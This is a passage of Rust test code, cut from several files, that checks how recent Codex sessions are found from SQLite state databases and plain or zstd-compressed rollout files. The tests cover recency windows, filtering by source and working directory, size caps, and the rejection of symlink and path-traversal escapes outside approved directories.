archived: false,
}],
);
std::os::unix::fs::symlink(&older_db, root.path().join("state_10.sqlite")).unwrap();
let fallback_id = uuid::Uuid::from_u128(211);
write_recent_rollout(root.path(), &cwd, now, fallback_id, json!("vscode"));
assert_eq!(
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600))
.unwrap()
.native_id,
fallback_id.to_string(),
);
}
#[test]
fn highest_database_filters_sources_paths_cwd_and_millis() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_000_000);
let updated = now - Duration::from_secs(2);
let updated_ms = millis_from_system_time(updated).unwrap();
let rollout_dir = root.join("sessions/2026/01/01");
fs::create_dir_all(&rollout_dir).unwrap();
let old_rollout = rollout_path(&rollout_dir, uuid::Uuid::from_u128(1));
fs::write(&old_rollout, "").unwrap();
create_db(
&root.join("state_5.sqlite"),
&[DbRow {
id: uuid::Uuid::from_u128(1),
rollout_path: &old_rollout,
updated_at_ms: updated_ms,
source: "cli",
cwd: &cwd,
title: "old generation",
first_user_message: "",
archived: false,
}],
);
let rollout = rollout_path(&rollout_dir, uuid::Uuid::from_u128(2));
fs::write(&rollout, "").unwrap();
let compressed_plain = rollout_path(&rollout_dir, uuid::Uuid::from_u128(3));
fs::write(format!("{}.zst", compressed_plain.display()), "").unwrap();
let chatgpt_rollout = rollout_path(&rollout_dir, uuid::Uuid::from_u128(9));
fs::write(&chatgpt_rollout, "").unwrap();
let missing = rollout_path(&rollout_dir, uuid::Uuid::from_u128(5));
let stale_ms = millis_from_system_time(
now - super::super::super::MAX_SESSION_AGE - Duration::from_secs(1),
)
.unwrap();
create_db(
&root.join("state_9.sqlite"),
&[
DbRow {
id: uuid::Uuid::from_u128(2),
rollout_path: &rollout,
updated_at_ms: updated_ms,
source: "vscode",
cwd: &cwd,
title: "",
first_user_message: "fallback title",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(3),
rollout_path: &compressed_plain,
updated_at_ms: updated_ms - 1,
source: r#"{"custom":"atlas"}"#,
cwd: &cwd,
title: "compressed",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(9),
rollout_path: &chatgpt_rollout,
updated_at_ms: updated_ms - 2,
source: r#"{"custom":"chatgpt"}"#,
cwd: &cwd,
title: "chatgpt",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(4),
rollout_path: &rollout,
updated_at_ms: updated_ms,
source: r#"{"subagent":"review"}"#,
cwd: &cwd,
title: "subagent",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(5),
rollout_path: &missing,
updated_at_ms: updated_ms,
source: "cli",
cwd: &cwd,
title: "missing",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(6),
rollout_path: &rollout,
updated_at_ms: stale_ms,
source: "cli",
cwd: &cwd,
title: "stale",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(7),
rollout_path: &rollout,
updated_at_ms: updated_ms,
source: "cli",
cwd: Path::new("/other"),
title: "wrong cwd",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(8),
rollout_path: &rollout,
updated_at_ms: updated_ms,
source: "cli",
cwd: &cwd,
title: "archived",
first_user_message: "",
archived: true,
},
],
);
let sessions = scan_in_home(&root, &cwd, now);
assert_eq!(
sessions
.iter()
.map(|session| session.title.as_str())
.collect::<Vec<_>>(),
vec!["fallback title", "compressed", "chatgpt"]
);
assert_eq!(sessions[0].updated_at, updated);
assert_eq!(sessions[0].source, ForeignSessionSource::CodexVsCode);
assert_eq!(sessions[1].source, ForeignSessionSource::CodexAtlas);
assert_eq!(sessions[2].source, ForeignSessionSource::CodexChatGpt);
}
#[test]
fn empty_newer_database_uses_older_nonempty_generation() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
let rollout_dir = root.join("sessions/2027/01/15");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&rollout_dir).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_050_000);
let id = uuid::Uuid::from_u128(40);
let rollout = rollout_path(&rollout_dir, id);
fs::write(&rollout, "").unwrap();
create_db(
&root.join("state_9.sqlite"),
&[DbRow {
id,
rollout_path: &rollout,
updated_at_ms: millis_from_system_time(now).unwrap(),
source: "cli",
cwd: &cwd,
title: "older nonempty generation",
first_user_message: "",
archived: false,
}],
);
create_db(&root.join("state_10.sqlite"), &[]);
let sessions = scan_in_home(&root, &cwd, now);
assert_eq!(sessions.len(), 1);
assert_eq!(sessions[0].native_id, id.to_string());
assert_eq!(sessions[0].title, "older nonempty generation");
}
#[test]
fn empty_databases_fall_back_to_rollout_files() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
let now = UNIX_EPOCH + Duration::from_secs(1_800_100_000);
let day = session_day(root.path(), now);
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&day).unwrap();
let id = uuid::Uuid::from_u128(41);
let rollout = rollout_path(&day, id);
let contents = [
json!({
"type": "session_meta",
"payload": {
"id": id,
"cwd": cwd.display().to_string(),
"source": "cli"
}
}),
json!({
"type": "event_msg",
"payload": {
"type": "user_message",
"message": "rollout fallback"
}
}),
]
.into_iter()
.map(|record| record.to_string())
.collect::<Vec<_>>()
.join("\n");
fs::write(&rollout, contents).unwrap();
touch(&rollout, now);
create_db(&root.path().join("state_10.sqlite"), &[]);
let sessions = scan_in_home(root.path(), &cwd, now);
assert_eq!(sessions.len(), 1);
assert_eq!(sessions[0].native_id, id.to_string());
assert_eq!(sessions[0].title, "rollout fallback");
}
#[test]
fn database_window_qualifies_past_invalid_rows() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
let sessions = root.join("sessions");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&sessions).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_200_000);
let valid_id = uuid::Uuid::from_u128(500);
let valid_path = rollout_path(&sessions, valid_id);
fs::write(&valid_path, "").unwrap();
let db_path = root.join("state_10.sqlite");
create_db(
&db_path,
&[DbRow {
id: valid_id,
rollout_path: &valid_path,
updated_at_ms: millis_from_system_time(now - Duration::from_secs(100)).unwrap(),
source: "cli",
cwd: &cwd,
title: "valid after window",
first_user_message: "",
archived: false,
}],
);
let connection = Connection::open(&db_path).unwrap();
for i in 0..60_u128 {
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, 'invalid', '', 0, NULL)",
params![
uuid::Uuid::from_u128(1_000 + i).to_string(),
sessions
.join(format!("missing-{i}.jsonl"))
.display()
.to_string(),
millis_from_system_time(now - Duration::from_secs(i as u64)).unwrap(),
cwd.display().to_string(),
],
)
.unwrap();
}
for i in 0..220_u128 {
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, ?4, ?5, 'subagent', '', 0, NULL)",
params![
uuid::Uuid::from_u128(2_000 + i).to_string(),
valid_path.display().to_string(),
millis_from_system_time(now - Duration::from_secs(i as u64)).unwrap(),
r#"{"subagent":"review"}"#,
cwd.display().to_string(),
],
)
.unwrap();
}
drop(connection);
let found = scan_in_home(&root, &cwd, now);
assert_eq!(found.len(), 1);
assert_eq!(found[0].title, "valid after window");
}
#[test]
fn database_window_normalizes_units_and_filters_future_rows_before_limit() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
let sessions = root.join("sessions");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&sessions).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_250_000);
let valid_id = uuid::Uuid::from_u128(2_500);
let valid_path = rollout_path(&sessions, valid_id);
fs::write(&valid_path, "").unwrap();
let db_path = root.join("state_10.sqlite");
create_db(
&db_path,
&[DbRow {
id: valid_id,
rollout_path: &valid_path,
updated_at_ms: i64::try_from(
(now - Duration::from_secs(1))
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs(),
)
.unwrap(),
source: "cli",
cwd: &cwd,
title: "newer seconds row",
first_user_message: "",
archived: false,
}],
);
let connection = Connection::open(&db_path).unwrap();
for (prefix, offset) in [
("stale", -(10 * 24 * 60 * 60_i64)),
("future", 24 * 60 * 60),
] {
for i in 0..205_u128 {
let timestamp = if offset < 0 {
now - Duration::from_secs((-offset) as u64 + i as u64)
} else {
now + Duration::from_secs(offset as u64 + i as u64)
};
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, ?5, '', 0, NULL)",
params![
uuid::Uuid::from_u128(3_000 + i + if offset > 0 { 1_000 } else { 0 })
.to_string(),
sessions
.join(format!("missing-{prefix}-{i}.jsonl"))
.display()
.to_string(),
millis_from_system_time(timestamp).unwrap(),
cwd.display().to_string(),
prefix,
],
)
.unwrap();
}
}
drop(connection);
let found = scan_in_home(&root, &cwd, now);
assert_eq!(found.len(), 1);
assert_eq!(found[0].title, "newer seconds row");
}
#[test]
fn each_required_sql_predicate_protects_the_candidate_window() {
for case in 0..5_u128 {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
let sessions = root.join("sessions");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&sessions).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_260_000 + case as u64);
let valid_id = uuid::Uuid::from_u128(6_000 + case);
let valid_path = rollout_path(&sessions, valid_id);
fs::write(&valid_path, "").unwrap();
let db_path = root.join("state_10.sqlite");
create_db(
&db_path,
&[DbRow {
id: valid_id,
rollout_path: &valid_path,
updated_at_ms: millis_from_system_time(now - Duration::from_secs(1)).unwrap(),
source: "cli",
cwd: &cwd,
title: "valid required row",
first_user_message: "",
archived: false,
}],
);
let connection = Connection::open(&db_path).unwrap();
for i in 0..201_u128 {
let id_text = uuid::Uuid::from_u128(7_000 + i).to_string();
let mut id = SqlValue::Text(id_text.clone());
let rollout_text = sessions
.join(format!("missing-required-{case}-{i}.jsonl"))
.display()
.to_string();
let mut rollout = SqlValue::Text(rollout_text.clone());
let mut updated = SqlValue::Integer(millis_from_system_time(now).unwrap());
let source = SqlValue::Text("cli".to_owned());
let stored_cwd = SqlValue::Text(cwd.display().to_string());
match case {
0 => id = SqlValue::Blob(id_text.into_bytes()),
1 => id = SqlValue::Text(oversized_text(64, i % 2 == 1)),
2 => rollout = SqlValue::Blob(rollout_text.into_bytes()),
3 => rollout = SqlValue::Text(oversized_text(16 * 1024, i % 2 == 1)),
_ => updated = SqlValue::Real(millis_from_system_time(now).unwrap() as f64 + 0.5),
}
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, ?4, ?5, 'invalid', '', 0, NULL)",
params![id, rollout, updated, source, stored_cwd],
)
.unwrap();
}
drop(connection);
let found = scan_in_home(&root, &cwd, now);
assert_eq!(found.len(), 1, "required predicate case {case}");
assert_eq!(found[0].native_id, valid_id.to_string());
}
}
#[test]
fn optional_codex_metadata_degrades_without_dropping_rows() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
let sessions = root.join("sessions");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&sessions).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_270_000);
let db_path = root.join("state_10.sqlite");
create_db(&db_path, &[]);
let connection = Connection::open(&db_path).unwrap();
let expected = [
"fallback oversized title",
"fallback wrong title type",
"title with oversized fallback",
"title with wrong fallback type",
"title with oversized branch",
"title with wrong branch type",
];
for (index, expected_title) in expected.iter().enumerate() {
let id = uuid::Uuid::from_u128(8_000 + index as u128);
let path = rollout_path(&sessions, id);
fs::write(&path, "").unwrap();
let mut title = SqlValue::Text((*expected_title).to_owned());
let mut first = SqlValue::Text((*expected_title).to_owned());
let mut branch = SqlValue::Text("main".to_owned());
match index {
0 => title = SqlValue::Text(oversized_text(64 * 1024, false)),
1 => title = SqlValue::Blob(b"wrong title".to_vec()),
2 => first = SqlValue::Text(oversized_text(64 * 1024, true)),
3 => first = SqlValue::Blob(b"wrong fallback".to_vec()),
4 => branch = SqlValue::Text(oversized_text(4 * 1024, false)),
_ => branch = SqlValue::Blob(b"wrong branch".to_vec()),
}
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, ?5, ?6, 0, ?7)",
params![
id.to_string(),
path.display().to_string(),
millis_from_system_time(now - Duration::from_secs(index as u64)).unwrap(),
cwd.display().to_string(),
title,
first,
branch,
],
)
.unwrap();
}
drop(connection);
let found = scan_in_home(&root, &cwd, now);
assert_eq!(found.len(), expected.len());
for (index, expected_title) in expected.iter().enumerate() {
let id = uuid::Uuid::from_u128(8_000 + index as u128).to_string();
let session = found
.iter()
.find(|session| session.native_id == id)
.unwrap();
assert_eq!(session.title, *expected_title);
if index >= 4 {
assert_eq!(session.branch, None);
}
}
}
#[test]
fn state_database_probes_have_a_supported_generation_ceiling() {
let (_tempdir, root) = canonical_tempdir();
for i in 0..100 {
fs::write(root.join(format!("unrelated-{i:03}")), "").unwrap();
}
fs::write(root.join("state_2.sqlite"), "").unwrap();
let boundary = root.join(format!("state_{MAX_STATE_DB_GENERATION}.sqlite"));
let beyond = root.join(format!("state_{}.sqlite", MAX_STATE_DB_GENERATION + 1));
fs::write(&boundary, "").unwrap();
fs::write(&beyond, "").unwrap();
let approved_root = ApprovedRoot::new(&root).unwrap();
assert_eq!(
state_databases(&approved_root).collect::<Vec<_>>(),
vec![boundary.clone(), root.join("state_2.sqlite")]
);
fs::remove_file(boundary).unwrap();
assert_eq!(
state_databases(&approved_root).collect::<Vec<_>>(),
vec![root.join("state_2.sqlite")]
);
}
#[cfg(unix)]
#[test]
fn state_database_probe_rejects_symlink_escape() {
let root = TempDir::new().unwrap();
let codex_home = root.path().join("codex");
fs::create_dir_all(&codex_home).unwrap();
let outside = root.path().join("outside.sqlite");
fs::write(&outside, "").unwrap();
std::os::unix::fs::symlink(
&outside,
codex_home.join(format!("state_{MAX_STATE_DB_GENERATION}.sqlite")),
)
.unwrap();
let approved_root = ApprovedRoot::new(&codex_home).unwrap();
assert!(state_databases(&approved_root).next().is_none());
}
#[test]
fn normalizes_legacy_seconds_and_millis_then_uses_shared_recency() {
let now = UNIX_EPOCH + Duration::from_secs(1_800_000_000);
let expected = now - Duration::from_secs(10);
let seconds = 1_799_999_990_i64;
let millis = millis_from_system_time(expected).unwrap();
assert_eq!(
super::super::db::normalize_updated_at(seconds),
Some(expected)
);
assert_eq!(
super::super::db::normalize_updated_at(millis),
Some(expected)
);
let future = now + Duration::from_secs(24 * 60 * 60);
assert_eq!(
super::super::db::normalize_updated_at(millis_from_system_time(future).unwrap()),
Some(future)
);
assert!(!super::super::super::is_within(
future,
now,
super::super::super::MAX_SESSION_AGE,
));
}
@@ -0,0 +1,445 @@
use super::*;
fn rollout_records(id: uuid::Uuid, cwd: &Path, source: serde_json::Value, title: &str) -> String {
[
json!({
"type": "session_meta",
"payload": {
"id": id,
"cwd": cwd.display().to_string(),
"source": source
}
}),
json!({
"type": "event_msg",
"payload": {"type": "user_message", "message": title}
}),
]
.into_iter()
.map(|record| record.to_string())
.collect::<Vec<_>>()
.join("\n")
}
#[test]
fn recent_fallback_skips_excluded_sources_and_wrong_cwds() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_090_000);
let day = session_day(root.path(), now);
fs::create_dir_all(&day).unwrap();
let excluded = uuid::Uuid::from_u128(10);
let custom = uuid::Uuid::from_u128(13);
let wrong_cwd = uuid::Uuid::from_u128(11);
let winner = uuid::Uuid::from_u128(12);
for (id, stored_cwd, source, age) in [
(
excluded,
cwd.as_path(),
json!({"subagent":"review"}),
Duration::ZERO,
),
(
custom,
cwd.as_path(),
json!({"custom":"atlas"}),
Duration::from_millis(500),
),
(
wrong_cwd,
Path::new("/other"),
json!("cli"),
Duration::from_secs(1),
),
(
winner,
cwd.as_path(),
json!("vscode"),
Duration::from_secs(2),
),
] {
let path = day.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"));
fs::write(&path, rollout_records(id, stored_cwd, source, "")).unwrap();
touch(&path, now - age);
}
let found = most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)).unwrap();
assert_eq!(found.native_id, winner.to_string());
assert_eq!(found.source, ForeignSessionSource::CodexVsCode);
}
#[test]
fn recent_fallback_fails_closed_at_directory_entry_cap() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_095_000);
let day = session_day(root.path(), now);
fs::create_dir_all(&day).unwrap();
write_recent_rollout(
root.path(),
&cwd,
now,
uuid::Uuid::from_u128(15),
json!("cli"),
);
for index in 0..super::super::files::MAX_RECENT_DIRECTORY_ENTRIES {
fs::write(day.join(format!("junk-{index:03}")), "").unwrap();
}
assert_eq!(
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)),
RecentProbe::Incomplete,
);
}
#[test]
fn recent_fallback_includes_old_creation_directory_with_fresh_mtime() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_097_000);
let created_at = now - Duration::from_secs(10 * 24 * 60 * 60);
let day = session_day(root.path(), created_at);
fs::create_dir_all(&day).unwrap();
let id = uuid::Uuid::from_u128(16);
let path = rollout_path(&day, id);
fs::write(&path, rollout_records(id, &cwd, json!("cli"), "")).unwrap();
touch(&path, now);
assert_eq!(
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600))
.unwrap()
.native_id,
id.to_string(),
);
}
#[test]
fn falls_back_to_bounded_plain_and_compressed_heads() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_100_000);
let day = session_day(root.path(), now);
let valid_day = session_day(root.path(), now - Duration::from_secs(24 * 60 * 60));
fs::create_dir_all(&day).unwrap();
fs::create_dir_all(&valid_day).unwrap();
let plain_id = uuid::Uuid::from_u128(20);
let plain = valid_day.join(format!("rollout-1970-05-08T12-00-00-{plain_id}.jsonl"));
fs::write(
&plain,
format!(
"{{malformed\n{}",
rollout_records(plain_id, &cwd, json!("cli"), "filesystem title")
),
)
.unwrap();
touch(&plain, now);
let compressed_id = uuid::Uuid::from_u128(21);
let compressed = valid_day.join(format!(
"rollout-1970-05-08T12-00-01-{compressed_id}.jsonl.zst"
));
let compressed_head = rollout_records(compressed_id, &cwd, json!("vscode"), "compressed title");
fs::write(
&compressed,
zstd::encode_all(compressed_head.as_bytes(), 1).unwrap(),
)
.unwrap();
touch(&compressed, now - Duration::from_secs(1));
let malformed_id = uuid::Uuid::from_u128(22);
let malformed = valid_day.join(format!(
"rollout-1970-05-08T12-00-02-{malformed_id}.jsonl.zst"
));
fs::write(&malformed, b"not a zstd frame").unwrap();
touch(&malformed, now - Duration::from_secs(2));
let concatenated_id = uuid::Uuid::from_u128(23);
let concatenated_path = valid_day.join(format!(
"rollout-1970-05-08T12-00-03-{concatenated_id}.jsonl.zst"
));
let mut concatenated = zstd::encode_all(
json!({"type":"event_msg","payload":{"type":"user_message","message":"frame one"}})
.to_string()
.as_bytes(),
1,
)
.unwrap();
concatenated.extend(
zstd::encode_all(
rollout_records(
concatenated_id,
&cwd,
json!("cli"),
"must not read frame two",
)
.as_bytes(),
1,
)
.unwrap(),
);
fs::write(&concatenated_path, concatenated).unwrap();
touch(&concatenated_path, now - Duration::from_secs(3));
let skippable_id = uuid::Uuid::from_u128(24);
let skippable_path = valid_day.join(format!(
"rollout-1970-05-08T12-00-04-{skippable_id}.jsonl.zst"
));
let payload_len = super::super::files::MAX_COMPRESSED_HEAD_BYTES + 1024;
let mut skippable = Vec::with_capacity(payload_len + 8);
skippable.extend(0x184D_2A50_u32.to_le_bytes());
skippable.extend(u32::try_from(payload_len).unwrap().to_le_bytes());
skippable.resize(8 + payload_len, 0);
skippable.extend(
zstd::encode_all(
rollout_records(skippable_id, &cwd, json!("cli"), "beyond compressed cap").as_bytes(),
1,
)
.unwrap(),
);
fs::write(&skippable_path, &skippable).unwrap();
assert!(skippable.len() > super::super::files::MAX_COMPRESSED_HEAD_BYTES);
touch(&skippable_path, now - Duration::from_secs(4));
let window_id = uuid::Uuid::from_u128(25);
let window_path = valid_day.join(format!("rollout-1970-05-08T12-00-05-{window_id}.jsonl.zst"));
let window_head = rollout_records(window_id, &cwd, json!("cli"), "oversized window");
let mut encoder = zstd::Encoder::new(Vec::new(), 1).unwrap();
encoder
.window_log(super::super::files::MAX_ZSTD_WINDOW_LOG + 1)
.unwrap();
encoder.include_contentsize(false).unwrap();
encoder.write_all(window_head.as_bytes()).unwrap();
let window_frame = encoder.finish().unwrap();
assert_eq!(
zstd::decode_all(window_frame.as_slice()).unwrap(),
window_head.as_bytes()
);
let mut limited = zstd::Decoder::new(window_frame.as_slice()).unwrap();
limited
.window_log_max(super::super::files::MAX_ZSTD_WINDOW_LOG)
.unwrap();
let mut limited_output = Vec::new();
assert!(limited.read_to_end(&mut limited_output).is_err());
fs::write(&window_path, window_frame).unwrap();
touch(&window_path, now - Duration::from_secs(5));
let output_id = uuid::Uuid::from_u128(26);
let output_path = valid_day.join(format!("rollout-1970-05-08T12-00-06-{output_id}.jsonl.zst"));
let output_head = format!(
"{}\n{}",
"x".repeat(super::super::files::MAX_HEAD_BYTES + 1),
rollout_records(output_id, &cwd, json!("cli"), "beyond output cap")
);
let output_frame = zstd::encode_all(output_head.as_bytes(), 1).unwrap();
assert!(
String::from_utf8(zstd::decode_all(output_frame.as_slice()).unwrap())
.unwrap()
.contains(&output_id.to_string())
);
fs::write(&output_path, output_frame).unwrap();
touch(&output_path, now - Duration::from_secs(6));
for i in 0..520_u128 {
let id = uuid::Uuid::from_u128(100 + i);
let path = day.join(format!("rollout-1970-05-08T12-01-00-{id}.jsonl"));
fs::write(
&path,
rollout_records(id, &cwd, json!({"subagent":"review"}), "excluded source"),
)
.unwrap();
touch(&path, now - Duration::from_secs(i as u64 + 1));
}
let sessions = scan_in_home(root.path(), &cwd, now);
assert_eq!(sessions.len(), 2);
assert_eq!(sessions[0].native_id, plain_id.to_string());
assert_eq!(sessions[0].title, "filesystem title");
assert_eq!(sessions[1].native_id, compressed_id.to_string());
assert_eq!(sessions[1].title, "compressed title");
}
#[test]
fn fallback_requires_complete_matching_first_session_meta() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_150_000);
let day = session_day(root.path(), now);
fs::create_dir_all(&day).unwrap();
for (id, first_payload) in [
(
uuid::Uuid::from_u128(30),
json!({"id":uuid::Uuid::from_u128(30),"source":"cli"}),
),
(
uuid::Uuid::from_u128(31),
json!({"id":uuid::Uuid::from_u128(31),"cwd":cwd.display().to_string()}),
),
(
uuid::Uuid::from_u128(32),
json!({"cwd":cwd.display().to_string(),"source":"cli"}),
),
(
uuid::Uuid::from_u128(33),
json!({"id":uuid::Uuid::from_u128(999),"cwd":cwd.display().to_string(),"source":"cli"}),
),
] {
let path = day.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"));
fs::write(
&path,
[
json!({"type":"session_meta","payload":first_payload}).to_string(),
rollout_records(id, &cwd, json!("cli"), "fork copy"),
]
.join("\n"),
)
.unwrap();
touch(&path, now);
}
assert!(scan_in_home(root.path(), &cwd, now).is_empty());
}
#[test]
fn rollout_paths_must_remain_under_approved_roots() {
let (_tempdir, root) = canonical_tempdir();
let sessions = root.join("sessions");
fs::create_dir_all(&sessions).unwrap();
let approved_id = uuid::Uuid::from_u128(600);
let compressed_id = uuid::Uuid::from_u128(601);
let approved = rollout_path(&sessions, approved_id);
let compressed_plain = rollout_path(&sessions, compressed_id);
let compressed = PathBuf::from(format!("{}.zst", compressed_plain.display()));
let outside = rollout_path(&root, uuid::Uuid::from_u128(602));
let wrong_extension = sessions.join("not-a-rollout.txt");
let directory = rollout_path(&sessions, uuid::Uuid::from_u128(603));
fs::write(&approved, "").unwrap();
fs::write(&compressed, "").unwrap();
fs::write(&outside, "").unwrap();
fs::write(&wrong_extension, "").unwrap();
fs::create_dir_all(&directory).unwrap();
let approved_root = ApprovedRoot::new(&root).unwrap();
assert_eq!(
existing_rollout_path(
&approved_root,
&approved.display().to_string(),
&approved_id.to_string()
),
Some(dunce::canonicalize(&approved).unwrap())
);
assert_eq!(
existing_rollout_path(
&approved_root,
&compressed_plain.display().to_string(),
&compressed_id.to_string()
),
Some(dunce::canonicalize(&compressed).unwrap())
);
assert_eq!(
existing_rollout_path(
&approved_root,
&outside.display().to_string(),
&uuid::Uuid::from_u128(602).to_string()
),
None
);
assert_eq!(
existing_rollout_path(
&approved_root,
&wrong_extension.display().to_string(),
&uuid::Uuid::from_u128(604).to_string()
),
None
);
assert_eq!(
existing_rollout_path(
&approved_root,
&directory.display().to_string(),
&uuid::Uuid::from_u128(603).to_string()
),
None
);
let traversal = format!(
"sessions/../{}",
outside.file_name().unwrap().to_string_lossy()
);
assert_eq!(
existing_rollout_path(
&approved_root,
&traversal,
&uuid::Uuid::from_u128(602).to_string()
),
None
);
let adversarial = sessions.join(format!(
"rollout-2027-01-15T12-00-00-extra-{}.jsonl",
uuid::Uuid::from_u128(604)
));
fs::write(&adversarial, "").unwrap();
assert_eq!(rollout_id(&adversarial), None);
#[cfg(unix)]
{
let link = rollout_path(&sessions, uuid::Uuid::from_u128(602));
std::os::unix::fs::symlink(&outside, &link).unwrap();
assert_eq!(
existing_rollout_path(
&approved_root,
&link.display().to_string(),
&uuid::Uuid::from_u128(602).to_string()
),
None
);
}
}
#[cfg(unix)]
#[test]
fn fallback_rejects_sessions_parent_symlink_escape() {
let root = TempDir::new().unwrap();
let outside = TempDir::new().unwrap();
let codex_home = root.path().join("codex");
let cwd = codex_home.join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_300_000);
let outside_day = session_day(outside.path(), now);
fs::create_dir_all(&outside_day).unwrap();
let id = uuid::Uuid::from_u128(5_000);
let rollout = rollout_path(&outside_day, id);
fs::write(
&rollout,
rollout_records(id, &cwd, json!("cli"), "outside sessions root"),
)
.unwrap();
touch(&rollout, now);
std::os::unix::fs::symlink(outside.path().join("sessions"), codex_home.join("sessions"))
.unwrap();
assert!(scan_in_home(&codex_home, &cwd, now).is_empty());
}
#[test]
fn date_dirs_include_utc_and_offset_boundary_days() {
let root = Path::new("/sessions");
let now = system_time_from_millis(
chrono::DateTime::parse_from_rfc3339("2026-01-01T00:30:00Z")
.unwrap()
.timestamp_millis(),
)
.unwrap();
let negative = super::super::files::recent_date_dirs(root, now, -2 * 60 * 60);
assert_eq!(negative.len(), 32);
assert!(negative.contains(&root.join("2026/01/01")));
assert!(negative.contains(&root.join("2025/12/31")));
let late = system_time_from_millis(
chrono::DateTime::parse_from_rfc3339("2026-01-01T23:30:00Z")
.unwrap()
.timestamp_millis(),
)
.unwrap();
let positive = super::super::files::recent_date_dirs(root, late, 2 * 60 * 60);
assert_eq!(positive[0], root.join("2026/01/02"));
assert!(positive.contains(&root.join("2026/01/01")));
}
@@ -0,0 +1,119 @@
use std::fs;
use std::io::{Read, Write};
use std::path::{Path, PathBuf};
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use filetime::FileTime;
use rusqlite::{Connection, params, types::Value as SqlValue};
use serde_json::json;
use tempfile::TempDir;
use super::*;
use crate::foreign_sessions::{
canonical_tempdir, millis_from_system_time, system_time_from_millis,
};
mod db;
mod files;
struct DbRow<'a> {
id: uuid::Uuid,
rollout_path: &'a Path,
updated_at_ms: i64,
source: &'a str,
cwd: &'a Path,
title: &'a str,
first_user_message: &'a str,
archived: bool,
}
fn create_db(path: &Path, rows: &[DbRow<'_>]) {
let connection = Connection::open(path).unwrap();
connection
.execute_batch(
"CREATE TABLE threads (
id TEXT,
rollout_path TEXT,
updated_at_ms INTEGER,
source TEXT,
cwd TEXT,
title TEXT,
first_user_message TEXT,
archived INTEGER,
git_branch TEXT
);
CREATE INDEX threads_archived_cwd_updated \
ON threads(archived, cwd, updated_at_ms DESC);",
)
.unwrap();
for row in rows {
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, NULL)",
params![
row.id.to_string(),
row.rollout_path.display().to_string(),
row.updated_at_ms,
row.source,
row.cwd.display().to_string(),
row.title,
row.first_user_message,
row.archived,
],
)
.unwrap();
}
}
fn touch(path: &Path, time: SystemTime) {
filetime::set_file_mtime(path, FileTime::from_system_time(time)).unwrap();
}
fn session_day(root: &Path, now: SystemTime) -> PathBuf {
use chrono::{DateTime, Datelike, Utc};
let date = DateTime::<Utc>::from(now).date_naive();
root.join("sessions")
.join(format!("{:04}", date.year()))
.join(format!("{:02}", date.month()))
.join(format!("{:02}", date.day()))
}
fn rollout_path(dir: &Path, id: uuid::Uuid) -> PathBuf {
dir.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"))
}
fn write_recent_rollout(
root: &Path,
cwd: &Path,
now: SystemTime,
id: uuid::Uuid,
source: serde_json::Value,
) -> PathBuf {
let day = session_day(root, now);
fs::create_dir_all(&day).unwrap();
let path = rollout_path(&day, id);
fs::write(
&path,
json!({
"type": "session_meta",
"payload": {
"id": id,
"cwd": cwd.display().to_string(),
"source": source,
}
})
.to_string(),
)
.unwrap();
touch(&path, now);
path
}
fn oversized_text(limit: usize, utf8: bool) -> String {
if utf8 {
"é".repeat(limit / 2 + 1)
} else {
"x".repeat(limit + 1)
}
}
